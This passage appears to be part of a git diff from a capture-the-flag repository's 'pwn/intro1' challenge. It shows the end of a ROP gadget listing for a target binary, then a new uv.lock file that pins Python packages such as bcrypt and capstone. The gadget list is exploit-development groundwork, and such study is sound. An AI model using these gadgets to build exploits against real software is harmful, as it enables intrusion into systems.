[0;31m0x000000000040100b[0m: [0;37m[0;37m[1;33mtest[0m [0m[0;37mrax, rax[0m[0m[1;34m; [0m[0;37m[0;37m[1;33mje[0m [0m[0;37m0x1012[0m[0m[1;34m; [0m[0;37m[0;37m[1;33mcall[0m [0m[0;37mrax[0m[0m[1;34m; [0m
|
||||
[0;31m0x000000000040100b[0m: [0;37m[0;37m[1;33mtest[0m [0m[0;37mrax, rax[0m[0m[1;34m; [0m[0;37m[0;37m[1;33mje[0m [0m[0;37m0x1012[0m[0m[1;34m; [0m[0;37m[0;37m[1;33mcall[0m [0m[0;37mrax[0m[0m[1;34m; [0m[0;37m[0;37m[1;33madd[0m [0m[0;37mrsp, 8[0m[0m[1;34m; [0m[1;33mret[0m[1;34m; [0m
|
||||
[0;31m0x00000000004010d2[0m: [0;37m[0;37m[1;33mtest[0m [0m[0;37mrax, rax[0m[0m[1;34m; [0m[0;37m[0;37m[1;33mje[0m [0m[0;37m0x10e0[0m[0m[1;34m; [0m[0;37m[0;37m[1;33mmov[0m [0m[0;37medi, 0x404038[0m[0m[1;34m; [0m[0;37m[0;37m[1;33mjmp[0m [0m[0;37mrax[0m[0m[1;34m; [0m
|
||||
[0;31m0x0000000000401114[0m: [0;37m[0;37m[1;33mtest[0m [0m[0;37mrax, rax[0m[0m[1;34m; [0m[0;37m[0;37m[1;33mje[0m [0m[0;37m0x1120[0m[0m[1;34m; [0m[0;37m[0;37m[1;33mmov[0m [0m[0;37medi, 0x404038[0m[0m[1;34m; [0m[0;37m[0;37m[1;33mjmp[0m [0m[0;37mrax[0m[0m[1;34m; [0m
|
||||
[0;31m0x00000000004010a1[0m: [1;33mhlt[0m[1;34m; [0m[0;37m[0;37m[1;33mnop[0m [0m[0;37mword ptr cs:[rax + rax][0m[0m[1;34m; [0m[0;37m[0;37m[1;33mnop[0m [0m[0;37mdword ptr [rax][0m[0m[1;34m; [0m[1;33mret[0m[1;34m; [0m
|
||||
[0;31m0x0000000000401221[0m: [1;33mleave[0m[1;34m; [0m[1;33mret[0m[1;34m; [0m
|
||||
[0;31m0x00000000004011c4[0m: [1;33mnop[0m[1;34m; [0m[0;37m[0;37m[1;33mpop[0m [0m[0;37mrbp[0m[0m[1;34m; [0m[1;33mret[0m[1;34m; [0m
|
||||
[0;31m0x0000000000401220[0m: [1;33mnop[0m[1;34m; [0m[1;33mleave[0m[1;34m; [0m[1;33mret[0m[1;34m; [0m
|
||||
[0;31m0x00000000004010df[0m: [1;33mnop[0m[1;34m; [0m[1;33mret[0m[1;34m; [0m
|
||||
[0;31m0x0000000000401016[0m: [1;33mret[0m[1;34m; [0m
|
||||
|
||||
103 gadgets found
|
||||
547
2025/cscg/pwn/intro1/uv.lock
generated
Normal file
547
2025/cscg/pwn/intro1/uv.lock
generated
Normal file
@@ -0,0 +1,547 @@
|
||||
version = 1
|
||||
revision = 2
|
||||
requires-python = ">=3.13"
|
||||
|
||||
[[package]]
|
||||
name = "bcrypt"
|
||||
version = "4.3.0"
|
||||
source = { registry = "https://pypi.org/simple" }
|
||||
sdist = { url = "https://files.pythonhosted.org/packages/bb/5d/6d7433e0f3cd46ce0b43cd65e1db465ea024dbb8216fb2404e919c2ad77b/bcrypt-4.3.0.tar.gz", hash = "sha256:3a3fd2204178b6d2adcf09cb4f6426ffef54762577a7c9b54c159008cb288c18", size = 25697, upload-time = "2025-02-28T01:24:09.174Z" }
|
||||
wheels = [
|
||||
{ url = "https://files.pythonhosted.org/packages/bf/2c/3d44e853d1fe969d229bd58d39ae6902b3d924af0e2b5a60d17d4b809ded/bcrypt-4.3.0-cp313-cp313t-macosx_10_12_universal2.whl", hash = "sha256:f01e060f14b6b57bbb72fc5b4a83ac21c443c9a2ee708e04a10e9192f90a6281", size = 483719, upload-time = "2025-02-28T01:22:34.539Z" },
|
||||
{ url = "https://files.pythonhosted.org/packages/a1/e2/58ff6e2a22eca2e2cff5370ae56dba29d70b1ea6fc08ee9115c3ae367795/bcrypt-4.3.0-cp313-cp313t-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:c5eeac541cefd0bb887a371ef73c62c3cd78535e4887b310626036a7c0a817bb", size = 272001, upload-time = "2025-02-28T01:22:38.078Z" },
|
||||
{ url = "https://files.pythonhosted.org/packages/37/1f/c55ed8dbe994b1d088309e366749633c9eb90d139af3c0a50c102ba68a1a/bcrypt-4.3.0-cp313-cp313t-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:59e1aa0e2cd871b08ca146ed08445038f42ff75968c7ae50d2fdd7860ade2180", size = 277451, upload-time = "2025-02-28T01:22:40.787Z" },
|
||||
{ url = "https://files.pythonhosted.org/packages/d7/1c/794feb2ecf22fe73dcfb697ea7057f632061faceb7dcf0f155f3443b4d79/bcrypt-4.3.0-cp313-cp313t-manylinux_2_28_aarch64.whl", hash = "sha256:0042b2e342e9ae3d2ed22727c1262f76cc4f345683b5c1715f0250cf4277294f", size = 272792, upload-time = "2025-02-28T01:22:43.144Z" },
|
||||
{ url = "https://files.pythonhosted.org/packages/13/b7/0b289506a3f3598c2ae2bdfa0ea66969812ed200264e3f61df77753eee6d/bcrypt-4.3.0-cp313-cp313t-manylinux_2_28_armv7l.manylinux_2_31_armv7l.whl", hash = "sha256:74a8d21a09f5e025a9a23e7c0fd2c7fe8e7503e4d356c0a2c1486ba010619f09", size = 289752, upload-time = "2025-02-28T01:22:45.56Z" },
|
||||
{ url = "https://files.pythonhosted.org/packages/dc/24/d0fb023788afe9e83cc118895a9f6c57e1044e7e1672f045e46733421fe6/bcrypt-4.3.0-cp313-cp313t-manylinux_2_28_x86_64.whl", hash = "sha256:0142b2cb84a009f8452c8c5a33ace5e3dfec4159e7735f5afe9a4d50a8ea722d", size = 277762, upload-time = "2025-02-28T01:22:47.023Z" },
|
||||
{ url = "https://files.pythonhosted.org/packages/e4/38/cde58089492e55ac4ef6c49fea7027600c84fd23f7520c62118c03b4625e/bcrypt-4.3.0-cp313-cp313t-manylinux_2_34_aarch64.whl", hash = "sha256:12fa6ce40cde3f0b899729dbd7d5e8811cb892d31b6f7d0334a1f37748b789fd", size = 272384, upload-time = "2025-02-28T01:22:49.221Z" },
|
||||
{ url = "https://files.pythonhosted.org/packages/de/6a/d5026520843490cfc8135d03012a413e4532a400e471e6188b01b2de853f/bcrypt-4.3.0-cp313-cp313t-manylinux_2_34_x86_64.whl", hash = "sha256:5bd3cca1f2aa5dbcf39e2aa13dd094ea181f48959e1071265de49cc2b82525af", size = 277329, upload-time = "2025-02-28T01:22:51.603Z" },
|
||||
{ url = "https://files.pythonhosted.org/packages/b3/a3/4fc5255e60486466c389e28c12579d2829b28a527360e9430b4041df4cf9/bcrypt-4.3.0-cp313-cp313t-musllinux_1_1_aarch64.whl", hash = "sha256:335a420cfd63fc5bc27308e929bee231c15c85cc4c496610ffb17923abf7f231", size = 305241, upload-time = "2025-02-28T01:22:53.283Z" },
|
||||
{ url = "https://files.pythonhosted.org/packages/c7/15/2b37bc07d6ce27cc94e5b10fd5058900eb8fb11642300e932c8c82e25c4a/bcrypt-4.3.0-cp313-cp313t-musllinux_1_1_x86_64.whl", hash = "sha256:0e30e5e67aed0187a1764911af023043b4542e70a7461ad20e837e94d23e1d6c", size = 309617, upload-time = "2025-02-28T01:22:55.461Z" },
|
||||
{ url = "https://files.pythonhosted.org/packages/5f/1f/99f65edb09e6c935232ba0430c8c13bb98cb3194b6d636e61d93fe60ac59/bcrypt-4.3.0-cp313-cp313t-musllinux_1_2_aarch64.whl", hash = "sha256:3b8d62290ebefd49ee0b3ce7500f5dbdcf13b81402c05f6dafab9a1e1b27212f", size = 335751, upload-time = "2025-02-28T01:22:57.81Z" },
|
||||
{ url = "https://files.pythonhosted.org/packages/00/1b/b324030c706711c99769988fcb694b3cb23f247ad39a7823a78e361bdbb8/bcrypt-4.3.0-cp313-cp313t-musllinux_1_2_x86_64.whl", hash = "sha256:2ef6630e0ec01376f59a006dc72918b1bf436c3b571b80fa1968d775fa02fe7d", size = 355965, upload-time = "2025-02-28T01:22:59.181Z" },
|
||||
{ url = "https://files.pythonhosted.org/packages/aa/dd/20372a0579dd915dfc3b1cd4943b3bca431866fcb1dfdfd7518c3caddea6/bcrypt-4.3.0-cp313-cp313t-win32.whl", hash = "sha256:7a4be4cbf241afee43f1c3969b9103a41b40bcb3a3f467ab19f891d9bc4642e4", size = 155316, upload-time = "2025-02-28T01:23:00.763Z" },
|
||||
{ url = "https://files.pythonhosted.org/packages/6d/52/45d969fcff6b5577c2bf17098dc36269b4c02197d551371c023130c0f890/bcrypt-4.3.0-cp313-cp313t-win_amd64.whl", hash = "sha256:5c1949bf259a388863ced887c7861da1df681cb2388645766c89fdfd9004c669", size = 147752, upload-time = "2025-02-28T01:23:02.908Z" },
|
||||
{ url = "https://files.pythonhosted.org/packages/11/22/5ada0b9af72b60cbc4c9a399fdde4af0feaa609d27eb0adc61607997a3fa/bcrypt-4.3.0-cp38-abi3-macosx_10_12_universal2.whl", hash = "sha256:f81b0ed2639568bf14749112298f9e4e2b28853dab50a8b357e31798686a036d", size = 498019, upload-time = "2025-02-28T01:23:05.838Z" },
|
||||
{ url = "https://files.pythonhosted.org/packages/b8/8c/252a1edc598dc1ce57905be173328eda073083826955ee3c97c7ff5ba584/bcrypt-4.3.0-cp38-abi3-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:864f8f19adbe13b7de11ba15d85d4a428c7e2f344bac110f667676a0ff84924b", size = 279174, upload-time = "2025-02-28T01:23:07.274Z" },
|
||||
{ url = "https://files.pythonhosted.org/packages/29/5b/4547d5c49b85f0337c13929f2ccbe08b7283069eea3550a457914fc078aa/bcrypt-4.3.0-cp38-abi3-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:3e36506d001e93bffe59754397572f21bb5dc7c83f54454c990c74a468cd589e", size = 283870, upload-time = "2025-02-28T01:23:09.151Z" },
|
||||
{ url = "https://files.pythonhosted.org/packages/be/21/7dbaf3fa1745cb63f776bb046e481fbababd7d344c5324eab47f5ca92dd2/bcrypt-4.3.0-cp38-abi3-manylinux_2_28_aarch64.whl", hash = "sha256:842d08d75d9fe9fb94b18b071090220697f9f184d4547179b60734846461ed59", size = 279601, upload-time = "2025-02-28T01:23:11.461Z" },
|
||||
{ url = "https://files.pythonhosted.org/packages/6d/64/e042fc8262e971347d9230d9abbe70d68b0a549acd8611c83cebd3eaec67/bcrypt-4.3.0-cp38-abi3-manylinux_2_28_armv7l.manylinux_2_31_armv7l.whl", hash = "sha256:7c03296b85cb87db865d91da79bf63d5609284fc0cab9472fdd8367bbd830753", size = 297660, upload-time = "2025-02-28T01:23:12.989Z" },
|
||||
{ url = "https://files.pythonhosted.org/packages/50/b8/6294eb84a3fef3b67c69b4470fcdd5326676806bf2519cda79331ab3c3a9/bcrypt-4.3.0-cp38-abi3-manylinux_2_28_x86_64.whl", hash = "sha256:62f26585e8b219cdc909b6a0069efc5e4267e25d4a3770a364ac58024f62a761", size = 284083, upload-time = "2025-02-28T01:23:14.5Z" },
|
||||
{ url = "https://files.pythonhosted.org/packages/62/e6/baff635a4f2c42e8788fe1b1633911c38551ecca9a749d1052d296329da6/bcrypt-4.3.0-cp38-abi3-manylinux_2_34_aarch64.whl", hash = "sha256:beeefe437218a65322fbd0069eb437e7c98137e08f22c4660ac2dc795c31f8bb", size = 279237, upload-time = "2025-02-28T01:23:16.686Z" },
|
||||
{ url = "https://files.pythonhosted.org/packages/39/48/46f623f1b0c7dc2e5de0b8af5e6f5ac4cc26408ac33f3d424e5ad8da4a90/bcrypt-4.3.0-cp38-abi3-manylinux_2_34_x86_64.whl", hash = "sha256:97eea7408db3a5bcce4a55d13245ab3fa566e23b4c67cd227062bb49e26c585d", size = 283737, upload-time = "2025-02-28T01:23:18.897Z" },
|
||||
{ url = "https://files.pythonhosted.org/packages/49/8b/70671c3ce9c0fca4a6cc3cc6ccbaa7e948875a2e62cbd146e04a4011899c/bcrypt-4.3.0-cp38-abi3-musllinux_1_1_aarch64.whl", hash = "sha256:191354ebfe305e84f344c5964c7cd5f924a3bfc5d405c75ad07f232b6dffb49f", size = 312741, upload-time = "2025-02-28T01:23:21.041Z" },
|
||||
{ url = "https://files.pythonhosted.org/packages/27/fb/910d3a1caa2d249b6040a5caf9f9866c52114d51523ac2fb47578a27faee/bcrypt-4.3.0-cp38-abi3-musllinux_1_1_x86_64.whl", hash = "sha256:41261d64150858eeb5ff43c753c4b216991e0ae16614a308a15d909503617732", size = 316472, upload-time = "2025-02-28T01:23:23.183Z" },
|
||||
{ url = "https://files.pythonhosted.org/packages/dc/cf/7cf3a05b66ce466cfb575dbbda39718d45a609daa78500f57fa9f36fa3c0/bcrypt-4.3.0-cp38-abi3-musllinux_1_2_aarch64.whl", hash = "sha256:33752b1ba962ee793fa2b6321404bf20011fe45b9afd2a842139de3011898fef", size = 343606, upload-time = "2025-02-28T01:23:25.361Z" },
|
||||
{ url = "https://files.pythonhosted.org/packages/e3/b8/e970ecc6d7e355c0d892b7f733480f4aa8509f99b33e71550242cf0b7e63/bcrypt-4.3.0-cp38-abi3-musllinux_1_2_x86_64.whl", hash = "sha256:50e6e80a4bfd23a25f5c05b90167c19030cf9f87930f7cb2eacb99f45d1c3304", size = 362867, upload-time = "2025-02-28T01:23:26.875Z" },
|
||||
{ url = "https://files.pythonhosted.org/packages/a9/97/8d3118efd8354c555a3422d544163f40d9f236be5b96c714086463f11699/bcrypt-4.3.0-cp38-abi3-win32.whl", hash = "sha256:67a561c4d9fb9465ec866177e7aebcad08fe23aaf6fbd692a6fab69088abfc51", size = 160589, upload-time = "2025-02-28T01:23:28.381Z" },
|
||||
{ url = "https://files.pythonhosted.org/packages/29/07/416f0b99f7f3997c69815365babbc2e8754181a4b1899d921b3c7d5b6f12/bcrypt-4.3.0-cp38-abi3-win_amd64.whl", hash = "sha256:584027857bc2843772114717a7490a37f68da563b3620f78a849bcb54dc11e62", size = 152794, upload-time = "2025-02-28T01:23:30.187Z" },
|
||||
{ url = "https://files.pythonhosted.org/packages/6e/c1/3fa0e9e4e0bfd3fd77eb8b52ec198fd6e1fd7e9402052e43f23483f956dd/bcrypt-4.3.0-cp39-abi3-macosx_10_12_universal2.whl", hash = "sha256:0d3efb1157edebfd9128e4e46e2ac1a64e0c1fe46fb023158a407c7892b0f8c3", size = 498969, upload-time = "2025-02-28T01:23:31.945Z" },
|
||||
{ url = "https://files.pythonhosted.org/packages/ce/d4/755ce19b6743394787fbd7dff6bf271b27ee9b5912a97242e3caf125885b/bcrypt-4.3.0-cp39-abi3-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:08bacc884fd302b611226c01014eca277d48f0a05187666bca23aac0dad6fe24", size = 279158, upload-time = "2025-02-28T01:23:34.161Z" },
|
||||
{ url = "https://files.pythonhosted.org/packages/9b/5d/805ef1a749c965c46b28285dfb5cd272a7ed9fa971f970435a5133250182/bcrypt-4.3.0-cp39-abi3-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:f6746e6fec103fcd509b96bacdfdaa2fbde9a553245dbada284435173a6f1aef", size = 284285, upload-time = "2025-02-28T01:23:35.765Z" },
|
||||
{ url = "https://files.pythonhosted.org/packages/ab/2b/698580547a4a4988e415721b71eb45e80c879f0fb04a62da131f45987b96/bcrypt-4.3.0-cp39-abi3-manylinux_2_28_aarch64.whl", hash = "sha256:afe327968aaf13fc143a56a3360cb27d4ad0345e34da12c7290f1b00b8fe9a8b", size = 279583, upload-time = "2025-02-28T01:23:38.021Z" },
|
||||
{ url = "https://files.pythonhosted.org/packages/f2/87/62e1e426418204db520f955ffd06f1efd389feca893dad7095bf35612eec/bcrypt-4.3.0-cp39-abi3-manylinux_2_28_armv7l.manylinux_2_31_armv7l.whl", hash = "sha256:d9af79d322e735b1fc33404b5765108ae0ff232d4b54666d46730f8ac1a43676", size = 297896, upload-time = "2025-02-28T01:23:39.575Z" },
|
||||
{ url = "https://files.pythonhosted.org/packages/cb/c6/8fedca4c2ada1b6e889c52d2943b2f968d3427e5d65f595620ec4c06fa2f/bcrypt-4.3.0-cp39-abi3-manylinux_2_28_x86_64.whl", hash = "sha256:f1e3ffa1365e8702dc48c8b360fef8d7afeca482809c5e45e653af82ccd088c1", size = 284492, upload-time = "2025-02-28T01:23:40.901Z" },
|
||||
{ url = "https://files.pythonhosted.org/packages/4d/4d/c43332dcaaddb7710a8ff5269fcccba97ed3c85987ddaa808db084267b9a/bcrypt-4.3.0-cp39-abi3-manylinux_2_34_aarch64.whl", hash = "sha256:3004df1b323d10021fda07a813fd33e0fd57bef0e9a480bb143877f6cba996fe", size = 279213, upload-time = "2025-02-28T01:23:42.653Z" },
|
||||
{ url = "https://files.pythonhosted.org/packages/dc/7f/1e36379e169a7df3a14a1c160a49b7b918600a6008de43ff20d479e6f4b5/bcrypt-4.3.0-cp39-abi3-manylinux_2_34_x86_64.whl", hash = "sha256:531457e5c839d8caea9b589a1bcfe3756b0547d7814e9ce3d437f17da75c32b0", size = 284162, upload-time = "2025-02-28T01:23:43.964Z" },
|
||||
{ url = "https://files.pythonhosted.org/packages/1c/0a/644b2731194b0d7646f3210dc4d80c7fee3ecb3a1f791a6e0ae6bb8684e3/bcrypt-4.3.0-cp39-abi3-musllinux_1_1_aarch64.whl", hash = "sha256:17a854d9a7a476a89dcef6c8bd119ad23e0f82557afbd2c442777a16408e614f", size = 312856, upload-time = "2025-02-28T01:23:46.011Z" },
|
||||
{ url = "https://files.pythonhosted.org/packages/dc/62/2a871837c0bb6ab0c9a88bf54de0fc021a6a08832d4ea313ed92a669d437/bcrypt-4.3.0-cp39-abi3-musllinux_1_1_x86_64.whl", hash = "sha256:6fb1fd3ab08c0cbc6826a2e0447610c6f09e983a281b919ed721ad32236b8b23", size = 316726, upload-time = "2025-02-28T01:23:47.575Z" },
|
||||
{ url = "https://files.pythonhosted.org/packages/0c/a1/9898ea3faac0b156d457fd73a3cb9c2855c6fd063e44b8522925cdd8ce46/bcrypt-4.3.0-cp39-abi3-musllinux_1_2_aarch64.whl", hash = "sha256:e965a9c1e9a393b8005031ff52583cedc15b7884fce7deb8b0346388837d6cfe", size = 343664, upload-time = "2025-02-28T01:23:49.059Z" },
|
||||
{ url = "https://files.pythonhosted.org/packages/40/f2/71b4ed65ce38982ecdda0ff20c3ad1b15e71949c78b2c053df53629ce940/bcrypt-4.3.0-cp39-abi3-musllinux_1_2_x86_64.whl", hash = "sha256:79e70b8342a33b52b55d93b3a59223a844962bef479f6a0ea318ebbcadf71505", size = 363128, upload-time = "2025-02-28T01:23:50.399Z" },
|
||||
{ url = "https://files.pythonhosted.org/packages/11/99/12f6a58eca6dea4be992d6c681b7ec9410a1d9f5cf368c61437e31daa879/bcrypt-4.3.0-cp39-abi3-win32.whl", hash = "sha256:b4d4e57f0a63fd0b358eb765063ff661328f69a04494427265950c71b992a39a", size = 160598, upload-time = "2025-02-28T01:23:51.775Z" },
|
||||
{ url = "https://files.pythonhosted.org/packages/a9/cf/45fb5261ece3e6b9817d3d82b2f343a505fd58674a92577923bc500bd1aa/bcrypt-4.3.0-cp39-abi3-win_amd64.whl", hash = "sha256:e53e074b120f2877a35cc6c736b8eb161377caae8925c17688bd46ba56daaa5b", size = 152799, upload-time = "2025-02-28T01:23:53.139Z" },
|
||||
]
|
||||
|
||||
[[package]]
|
||||
name = "capstone"
|
||||
version = "5.0.6"
|
||||
source = { registry = "https://pypi.org/simple" }
|
||||
sdist = { url = "https://files.pythonhosted.org/packages/d5/b0/1f126035a4cbc6f488b97e4bd57a46a28b6ba29ca8b938cbda840601a18a/capstone-5.0.6.tar.gz", hash = "sha256:b11a87d67751b006b9b44428d59c99512e6d6c89cf7dff8cdd92d9065628b5a0", size = 2945704, upload-time = "2025-03-23T16:03:40.795Z" }
|
||||
wheels = [
|
||||
{ url = "https://files.pythonhosted.org/packages/cd/9a/d9c11e090fa03dfc61a03a57ba44c6a07370f4ac5814f2a5804bfd40ee8b/capstone-5.0.6-py3-none-macosx_10_9_universal2.whl", hash = "sha256:0bca16e1c3ca1b928df6103b3889dcb6df7b05392d75a0b7af3508798148b899", size = 2177082, upload-time = "2025-03-23T16:03:27.815Z" },
|
||||
{ url = "https://files.pythonhosted.org/packages/66/28/72a0be2325e6ee459f27cdcd835d3eee6fed5136321b5f7be41b41dc8656/capstone-5.0.6-py3-none-macosx_10_9_x86_64.whl", hash = "sha256:539191906a34ad1c573ec12b787b2caf154ea41175db6ded9def00aea8151099", size = 1180215, upload-time = "2025-03-23T16:03:29.409Z" },
|
||||
{ url = "https://files.pythonhosted.org/packages/54/93/7b8fb02661d47a2822d5b640df804ef310417144af02e6db3446f174c4b5/capstone-5.0.6-py3-none-macosx_11_0_arm64.whl", hash = "sha256:e0b87b283905e4fc43635ca04cf26f4a5d9e8375852e5464d38938f3a28c207a", size = 1192757, upload-time = "2025-03-23T16:03:30.966Z" },
|
||||
{ url = "https://files.pythonhosted.org/packages/ba/a2/d1bdb7260ade8165182979ea16098ef3a37c01316140511a611e549dbfe3/capstone-5.0.6-py3-none-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:fa7892f0c89455078c18f07d2d309fb07baa53061b8f9a63db1ea00d41a46726", size = 1458413, upload-time = "2025-03-23T16:03:32.04Z" },
|
||||
{ url = "https://files.pythonhosted.org/packages/78/7f/ec0687bbe8f6b128f1d41d90ec7cedfd1aaaa4ecb1ae8d334acc7dad8013/capstone-5.0.6-py3-none-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:0358855773100bb91ae6681fabce7299df83156945ba943f6211061a592c54a6", size = 1481605, upload-time = "2025-03-23T16:03:33.526Z" },
|
||||
{ url = "https://files.pythonhosted.org/packages/fc/1d/77bb0f79e1dacdfdcc0679c747d9ca24cc621095e09bdb665e7dd0c580ae/capstone-5.0.6-py3-none-manylinux_2_5_i686.manylinux1_i686.manylinux_2_17_i686.manylinux2014_i686.whl", hash = "sha256:667d6466dab1522fa5e9659be5cf1aca83e4fc3da7d15d0e5e6047f71fb46c4a", size = 1480730, upload-time = "2025-03-23T16:03:34.601Z" },
|
||||
{ url = "https://files.pythonhosted.org/packages/72/63/07437972f68d0b2ba13e1705a6994404c9c961afbadc342c5b6fcf1de652/capstone-5.0.6-py3-none-musllinux_1_2_aarch64.whl", hash = "sha256:45c0e25500dd8d283d3b70f2e10cebfec93ab8bdaf6af9a763a0a999b4705891", size = 1457992, upload-time = "2025-03-23T16:03:35.75Z" },
|
||||
{ url = "https://files.pythonhosted.org/packages/0c/53/f371e86493a2ae659b5a493c3cc23122974e83a1f53d3a5638d7bb7ac371/capstone-5.0.6-py3-none-musllinux_1_2_i686.whl", hash = "sha256:22f1f2f118f8fa1d1c5c90bca90e75864d55e16349b3c03aaea0e86b4a45d2a9", size = 1484184, upload-time = "2025-03-23T16:03:37.05Z" },
|
||||
{ url = "https://files.pythonhosted.org/packages/df/c3/8b842ae32949c3570581164619c2f69001c6d8da566dc2e490372032b0d6/capstone-5.0.6-py3-none-musllinux_1_2_x86_64.whl", hash = "sha256:bc23cf634f51d0e53bdd04ea53ccfff7fc9060dfe58dff1e1b260ce40e5538ff", size = 1485357, upload-time = "2025-03-23T16:03:38.133Z" },
|
||||
{ url = "https://files.pythonhosted.org/packages/da/72/ff7894c2fb5716d9a3ce9c27ba34b29d991a11d8442d2ef0fcdc5564ba7e/capstone-5.0.6-py3-none-win_amd64.whl", hash = "sha256:761c3deae00b22ac697081cdae1383bb90659dd0d79387a09cf5bdbb22b17064", size = 1271345, upload-time = "2025-03-23T16:03:39.649Z" },
|
||||
]
|
||||
|
||||
[[package]]
|
||||
name = "certifi"
|
||||
version = "2025.4.26"
|
||||
source = { registry = "https://pypi.org/simple" }
|
||||
sdist = { url = "https://files.pythonhosted.org/packages/e8/9e/c05b3920a3b7d20d3d3310465f50348e5b3694f4f88c6daf736eef3024c4/certifi-2025.4.26.tar.gz", hash = "sha256:0a816057ea3cdefcef70270d2c515e4506bbc954f417fa5ade2021213bb8f0c6", size = 160705, upload-time = "2025-04-26T02:12:29.51Z" }
|
||||
wheels = [
|
||||
{ url = "https://files.pythonhosted.org/packages/4a/7e/3db2bd1b1f9e95f7cddca6d6e75e2f2bd9f51b1246e546d88addca0106bd/certifi-2025.4.26-py3-none-any.whl", hash = "sha256:30350364dfe371162649852c63336a15c70c6510c2ad5015b21c2345311805f3", size = 159618, upload-time = "2025-04-26T02:12:27.662Z" },
|
||||
]
|
||||
|
||||
[[package]]
|
||||
name = "cffi"
|
||||
version = "1.17.1"
|
||||
source = { registry = "https://pypi.org/simple" }
|
||||
dependencies = [
|
||||
{ name = "pycparser" },
|
||||
]
|
||||
sdist = { url = "https://files.pythonhosted.org/packages/fc/97/c783634659c2920c3fc70419e3af40972dbaf758daa229a7d6ea6135c90d/cffi-1.17.1.tar.gz", hash = "sha256:1c39c6016c32bc48dd54561950ebd6836e1670f2ae46128f67cf49e789c52824", size = 516621, upload-time = "2024-09-04T20:45:21.852Z" }
|
||||
wheels = [
|
||||
{ url = "https://files.pythonhosted.org/packages/8d/f8/dd6c246b148639254dad4d6803eb6a54e8c85c6e11ec9df2cffa87571dbe/cffi-1.17.1-cp313-cp313-macosx_10_13_x86_64.whl", hash = "sha256:f3a2b4222ce6b60e2e8b337bb9596923045681d71e5a082783484d845390938e", size = 182989, upload-time = "2024-09-04T20:44:28.956Z" },
|
||||
{ url = "https://files.pythonhosted.org/packages/8b/f1/672d303ddf17c24fc83afd712316fda78dc6fce1cd53011b839483e1ecc8/cffi-1.17.1-cp313-cp313-macosx_11_0_arm64.whl", hash = "sha256:0984a4925a435b1da406122d4d7968dd861c1385afe3b45ba82b750f229811e2", size = 178802, upload-time = "2024-09-04T20:44:30.289Z" },
|
||||
{ url = "https://files.pythonhosted.org/packages/0e/2d/eab2e858a91fdff70533cab61dcff4a1f55ec60425832ddfdc9cd36bc8af/cffi-1.17.1-cp313-cp313-manylinux_2_12_i686.manylinux2010_i686.manylinux_2_17_i686.manylinux2014_i686.whl", hash = "sha256:d01b12eeeb4427d3110de311e1774046ad344f5b1a7403101878976ecd7a10f3", size = 454792, upload-time = "2024-09-04T20:44:32.01Z" },
|
||||
{ url = "https://files.pythonhosted.org/packages/75/b2/fbaec7c4455c604e29388d55599b99ebcc250a60050610fadde58932b7ee/cffi-1.17.1-cp313-cp313-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:706510fe141c86a69c8ddc029c7910003a17353970cff3b904ff0686a5927683", size = 478893, upload-time = "2024-09-04T20:44:33.606Z" },
|
||||
{ url = "https://files.pythonhosted.org/packages/4f/b7/6e4a2162178bf1935c336d4da8a9352cccab4d3a5d7914065490f08c0690/cffi-1.17.1-cp313-cp313-manylinux_2_17_ppc64le.manylinux2014_ppc64le.whl", hash = "sha256:de55b766c7aa2e2a3092c51e0483d700341182f08e67c63630d5b6f200bb28e5", size = 485810, upload-time = "2024-09-04T20:44:35.191Z" },
|
||||
{ url = "https://files.pythonhosted.org/packages/c7/8a/1d0e4a9c26e54746dc08c2c6c037889124d4f59dffd853a659fa545f1b40/cffi-1.17.1-cp313-cp313-manylinux_2_17_s390x.manylinux2014_s390x.whl", hash = "sha256:c59d6e989d07460165cc5ad3c61f9fd8f1b4796eacbd81cee78957842b834af4", size = 471200, upload-time = "2024-09-04T20:44:36.743Z" },
|
||||
{ url = "https://files.pythonhosted.org/packages/26/9f/1aab65a6c0db35f43c4d1b4f580e8df53914310afc10ae0397d29d697af4/cffi-1.17.1-cp313-cp313-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:dd398dbc6773384a17fe0d3e7eeb8d1a21c2200473ee6806bb5e6a8e62bb73dd", size = 479447, upload-time = "2024-09-04T20:44:38.492Z" },
|
||||
{ url = "https://files.pythonhosted.org/packages/5f/e4/fb8b3dd8dc0e98edf1135ff067ae070bb32ef9d509d6cb0f538cd6f7483f/cffi-1.17.1-cp313-cp313-musllinux_1_1_aarch64.whl", hash = "sha256:3edc8d958eb099c634dace3c7e16560ae474aa3803a5df240542b305d14e14ed", size = 484358, upload-time = "2024-09-04T20:44:40.046Z" },
|
||||
{ url = "https://files.pythonhosted.org/packages/f1/47/d7145bf2dc04684935d57d67dff9d6d795b2ba2796806bb109864be3a151/cffi-1.17.1-cp313-cp313-musllinux_1_1_x86_64.whl", hash = "sha256:72e72408cad3d5419375fc87d289076ee319835bdfa2caad331e377589aebba9", size = 488469, upload-time = "2024-09-04T20:44:41.616Z" },
|
||||
{ url = "https://files.pythonhosted.org/packages/bf/ee/f94057fa6426481d663b88637a9a10e859e492c73d0384514a17d78ee205/cffi-1.17.1-cp313-cp313-win32.whl", hash = "sha256:e03eab0a8677fa80d646b5ddece1cbeaf556c313dcfac435ba11f107ba117b5d", size = 172475, upload-time = "2024-09-04T20:44:43.733Z" },
|
||||
{ url = "https://files.pythonhosted.org/packages/7c/fc/6a8cb64e5f0324877d503c854da15d76c1e50eb722e320b15345c4d0c6de/cffi-1.17.1-cp313-cp313-win_amd64.whl", hash = "sha256:f6a16c31041f09ead72d69f583767292f750d24913dadacf5756b966aacb3f1a", size = 182009, upload-time = "2024-09-04T20:44:45.309Z" },
|
||||
]
|
||||
|
||||
[[package]]
|
||||
name = "charset-normalizer"
|
||||
version = "3.4.2"
|
||||
source = { registry = "https://pypi.org/simple" }
|
||||
